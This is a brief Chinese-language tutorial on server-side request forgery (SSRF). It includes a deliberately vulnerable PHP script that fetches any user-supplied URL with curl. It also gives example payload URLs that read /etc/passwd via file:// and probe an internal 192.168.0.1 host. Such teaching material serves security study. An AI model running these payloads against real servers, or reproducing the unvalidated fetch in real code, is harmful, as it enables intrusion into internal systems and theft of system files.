SSRF
ssrf(Server-Side Request Forgery)服务端请求伪造,一种由攻击者构造形成由服务端发起的一个安全漏洞,一般情况下SSRF的攻击目标是外网无法访问的内部系统。
利用
利用扫描本地网络
可以扫描 C 段的 IP 和端口
使用Burp IP作为变量,批量组合访问内网即可
攻击内部网络
识别内部系统
读取本地文件
示例
读取本地文件
<?php
include 'init.php';
if ($_GET['url']) {
// Client
$url = $_GET['url'];
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_NOSIGNAL, 1);
curl_setopt($ch, CURLOPT_TIMEOUT_MS, 5000);
$data = curl_exec($ch);
$curl_errno = curl_errno($ch);
$curl_error = curl_error($ch);
curl_close($ch);
if ($curl_errno > 0) {
echo "cURL Error ($curl_errno): $curl_error\n";
} else {
echo "$data\n";
}
} else {
// Server
sleep(10);
echo "Done.";
}
?>
http://127.0.0.1/ssrf.php?url=file:///etc/passwd
结果可以显示passwd的文件的内容
识别内部系统
http://www.webtester.com/ssrf.php?url=192.168.0.1/phpinfo.php